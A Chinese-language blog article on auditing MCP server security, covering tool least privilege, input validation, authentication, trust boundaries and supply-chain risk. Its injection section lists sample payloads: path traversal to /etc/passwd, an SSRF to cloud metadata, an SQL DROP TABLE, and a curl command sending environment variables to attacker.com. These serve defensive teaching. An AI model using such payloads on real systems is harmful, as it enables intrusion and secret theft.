MCP Server 的安全审计
MCP 让 AI 工具能即插即用调用你的能力,也把你的数据和操作暴露给了所有兼容客户端——安全面不小。本文讲清 MCP Server 的安全审计要点:工具权限最小化、参数校验与注入防护、远程 Server 的鉴权与限流、信任边界(本地 vs 远程)、供应链(第三方 MCP server 的风险),以及一份 MCP Server 上线前的安全 checklist。
本文要点
- 主题聚焦:AI Agent、DevOps
- 适合人群:独立开发者、全栈工程师、AI 应用开发者
- 核心价值:快速理解背景、实践路径、常见误区和工程建议
MCP 的卖点是"一次封装,所有客户端通用"。这句话反过来读就是它全部的安全问题:你把能力暴露给的不是某个可信客户端,而是所有兼容 MCP 的客户端——包括恶意的那一个。
一个本地 stdio 的 MCP Server 看起来人畜无害,但它跑在你机器上、读你的文件、拿你的 token;一个远程 HTTP 的 MCP Server 看起来只是个 API,但任何知道地址的人都能让它代为执行操作。很多团队上线 MCP Server 时只想着"功能跑通",没想过它在攻击面里相当于一个带凭据的 RPC 端点。这篇讲清楚 MCP Server 上线前该审什么。
一、先看清 MCP 的安全模型与风险面
MCP 本身不提供安全边界,它只定义通信契约。安全责任全部落在两端:Server 怎么暴露能力、Client 怎么用人。风险面至少包括这几层:
- 能力暴露:每个 tool/resource 都是一条新的调用入口,描述写错了模型就会误用。
- 参数即输入:用户或模型构造的参数会进入你的下游(SQL、shell、文件路径、HTTP URL)。
- 凭据归属:Server 进程持有的密钥、token、文件权限,等于把它信任的所有 client 都放行到了这些资产。
- 客户端不可信:规范允许任意 client 连接。你不能假设对面一定是 Claude Code 或 Cursor,它完全可以是攻击者写的脚本。
把 MCP Server 当成一个"对外的 RPC 服务"来审计,而不是"一个本地小工具",心态就对了。
二、工具权限最小化
第一个要审的是 tool 列表本身。常见反模式:为了省事,一个 Server 暴露一个 run_sql(query) 或 exec(command)。这等于把数据库账号和 shell 直接交给 client。
正确做法按粒度拆分,每个 tool 只暴露必要能力:
// 反例:万能入口
server.tool("query", "run any SQL", { sql: z.string() }, async ({ sql }) =>
run(sql),
);
// 正例:固定意图 + 固定表 + 固定字段
server.tool(
"get_order_status",
"Return the status of one order by its numeric ID. Read-only.",
{ orderId: z.number().int().positive() },
async ({ orderId }) => getOrderStatus(orderId), // 内部用预编译语句
);
注意三点:描述要写死边界("Read-only"、"by its numeric ID")——模型选 tool 时主要看描述;参数用最严格的 schema(z.number().int() 而不是 z.any());危险操作(转账、删除、发布、发邮件)不做自动执行,要么要求 client 传入二次确认 token,要么直接拒绝并在结果里返回"需要人工确认"。
三、参数注入防护:tool 输入就是用户输入
orderId 这种简单参数好办,zod 能挡住类型攻击。真正危险的是字符串参数会被拼进下游。模型(或攻击者控制的 client)完全可以传入:
path: "../../etc/passwd"—— 路径穿越,逃出预期目录。url: "http://169.254.169.254/latest/meta-data/"—— SSRF,探云内网元数据。q: "x'; DROP TABLE orders;--"—— SQL 注入。cmd: "ls; curl attacker.com/$(env)"—— 命令注入。
防御原则和写 Web 后端一样:永远参数化,永远不字符串拼接。文件路径要在规范化后做根目录校验:
import path from "node:path";
const ROOT = path.resolve("./notes");
function safeJoin(slug: string) {
const full = path.resolve(ROOT, slug);
if (!full.startsWith(ROOT + path.sep) && full !== ROOT) {
throw new Error("path outside notes dir");
}
return full;
}
URL 参数要走 allowlist(只允许 https://api.github.com/* 这类),并显式拦截私网/链路本地地址。SQL 一律走预编译 + 只读账号。shell?能不暴露就不暴露;非要暴露,就用固定命令 + 受限参数,而不是 exec(command)。
四、远程 MCP Server 的鉴权、限流与审计
本地 stdio 靠"进程能起来 = 你授权过"隐式鉴权;远程 HTTP 不行。一个裸跑的 http.createServer 接 Streamable HTTP,等于一个无认证 RPC。必须在入口校验身份:
const httpServer = createServer(async (req, res) => {
const token = req.headers.authorization?.replace(/^Bearer\s+/i, "");
const principal = await verifyToken(token); // OAuth introspect 或 JWT 校验
if (!principal) return respond(res, 401, "unauthorized");
// 把 principal 注入到本次调用的 tool 执行上下文
const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined });
transport.onmessage = (msg) => enforceScopes(msg, principal); // 按 client 限 scope
await server.connect(transport);
await transport.handleRequest(req, res);
});
远程 Server 至少要做到:每个 client 一个凭据(不要全局共享 token)、按 scope 授权(只读 client 拿不到写 tool)、按 client 限流(QPS + 并发,防滥用和 DoS)、结构化审计日志(who/tool/args/latency/result 每次一行,出事能查)。敏感操作最好接入你现有的 SSO 与权限系统,而不是自造一套。
五、信任边界:本地 stdio vs 远程 HTTP,两套规矩
这两类 Server 的威胁模型完全不同,不要混用一套策略:
| 维度 | 本地 stdio | 远程 HTTP |
|---|---|---|
| 谁能连 | 只有当前用户启动的 client | 知道地址的任何人 |
| 鉴权 | 进程启动即授权 | 必须显式鉴权 |
| 凭据 | 可用本机用户级凭据 | 最小权限 + 按 scope 收敛 |
| 网络 | 默认无网络出口风险 | 需考虑 SSRF、DDoS |
| 审计 | 本地日志即可 | 必须有可查的审计链 |
常见错误是把本该只在本地跑的 Server(读写本地文件、用个人 token)直接挂成远程,然后共享一个 token 给全团队。正确做法是:能力越大,边界越要收紧——远程版重新评估每个 tool 是否真的需要暴露,把"本地够用但远程危险"的 tool 直接下掉。
六、供应链风险:装第三方 MCP server 等于装一个能读你文件的后台进程
这条最容易被忽视。你 npx some-cool-mcp-server 启动的那一刻,它就拿到了你本机的文件读权限、环境变量里的密钥、你的网络。一条 tool 叫 summarize_file,description 写得人畜无害,实现里完全可以偷偷把 .env 发出去。npm 上仿冒同名包、postinstall 脚本投毒,这些传统供应链攻击在 MCP 语境下全都成立。
审计第三方 MCP server 的清单:
- 来源:
@modelcontextprotocol官方包锁定版本;社区包看发布者、star、最近提交,优先选源码可审的。 - 权限:
npx --no-install或容器隔离运行,先看它要哪些 env、访问哪些目录,给最小权限。 - 网络:不需要联网的 Server,用网络隔离(容器/防火墙)断掉出口。这一招能挡掉绝大多数数据外传。
- 准入:团队层面维护一份 allowlist,不允许成员随意新增未审 Server,尤其是连着生产凭据的环境。
七、上线前的安全 checklist
把前面几节收敛成一份可勾选的清单:
- Tool 粒度:无万能入口(
run_sql/exec/shell),每个 tool 固定意图、只暴露必要字段。 - Schema 严格:所有参数有 zod/JSON Schema 约束,字符串有长度和正则,数字有范围。
- 注入防护:路径规范化 + 根目录校验;URL allowlist + 私网拦截;SQL 全参数化 + 只读账号。
- 危险操作:删除、转账、发布、发邮件等不可逆操作必须人工确认,不自动执行。
- 远程鉴权:每个 client 独立凭据,token 不共享,按 scope 授权。
- 限流:按 client 限 QPS 与并发,设响应大小和超时上限。
- 审计日志:每次 tool 调用记录 who/tool/args/result,可追溯、可告警。
- 凭据最小化:Server 进程只持有必须的 token/文件权限,生产凭据与开发隔离。
- 供应链:第三方 Server 经来源/权限/网络三审,团队 allowlist 准入。
- 威胁演练:把自己当成恶意 client,尝试路径穿越、SSRF、越权 scope,看哪一步会断。
小结
MCP 的安全本质一句话:它把"你的能力"接入了"任意兼容客户端",所以每多一个 tool 就多一个对外的 RPC 入口。审 MCP Server 的方法论和审后端服务一致——最小权限、参数即攻击面、严格鉴权、审计可查、边界分明、供应链受控——只是这次攻击者可能就坐在 client 那头。
- 每个 tool 只暴露必要能力,危险操作必须二次确认。
- 字符串参数一律参数化,路径做根目录校验,URL 做 allowlist。
- 本地 stdio 靠启动授权,远程 HTTP 必须显式鉴权 + 限流 + 审计。
- 第三方 MCP server 当成带凭据的后台进程审,能用网络隔离就别让它联网。
功能让你能上线,MCP 让你能被所有 client 调用,而安全审计决定的是——在被调用时,你到底把什么暴露了出去。
Related